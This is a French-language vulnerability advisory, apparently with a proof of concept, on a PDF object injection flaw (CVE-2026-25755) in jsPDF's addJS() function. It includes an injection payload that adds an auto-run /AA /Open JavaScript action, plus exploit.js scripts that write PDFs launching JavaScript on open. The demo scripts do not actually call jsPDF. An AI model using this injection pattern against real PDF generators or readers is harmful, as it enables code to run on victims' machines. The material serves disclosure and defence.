
CVE-2026-25755 Une vulnérabilité critique d'injection d'objets PDF dans jsPDF permet aux attaquants d'injecter des objets PDF arbitraires via la fonction addJS(), permettant le contournement du bac à sable AcroJS et l'exécution automatique de scripts à l'ouverture des PDF.
Une vulnérabilité critique d'injection d'objets PDF (CVE-2026-25755) a été découverte dans jsPDF, une bibliothèque JavaScript largement utilisée pour générer des documents PDF dans les applications côté client. La vulnérabilité existe dans la fonction addJS(), permettant aux attaquants d'injecter des objets PDF arbitraires et de contourner les restrictions du sandbox AcroJS via une désinfection inadéquate des entrées.
La fonction addJS() de jsPDF permet aux développeurs d'intégrer du code JavaScript dans les fichiers PDF générés. Cependant, avant la version 4.2.0, la fonction ne parvenait pas à désinfecter correctement les entrées utilisateur contenant des caractères spéciaux de syntaxe PDF.
function addJS(javascript) {
this.internal.write("/JS (" + javascript + ")");
}
La fonction concatène directement les entrées utilisateur dans les flux d'objets PDF sans échappement :
()\Cela permet aux attaquants de fermer prématurément le contexte de chaîne JavaScript et d'injecter des objets PDF arbitraires.
/JS (app.alert('Hello World'))
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
↑
Point d'injection - contexte de chaîne échappé
| Étape | Action | Résultat |
|---|---|---|
| 1 | ) ferme la chaîne /JS d'origine | Contexte de chaîne terminé |
| 2 | >> ferme l'objet PDF courant | Structure d'objet brisée |
| 3 | /AA << /Open << ... | Nouveau dictionnaire d'action injecté |
| 4 | Objets PDF arbitraires ajoutés | Injection complète d'objets réalisée |
Créez un fichier nommé exploit.js et écrivez ce qui suit dedans
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000092 00000 n
0000000275 00000 n
0000000352 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000089 00000 n
0000000172 00000 n
0000000249 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
Exécutez node exploit.js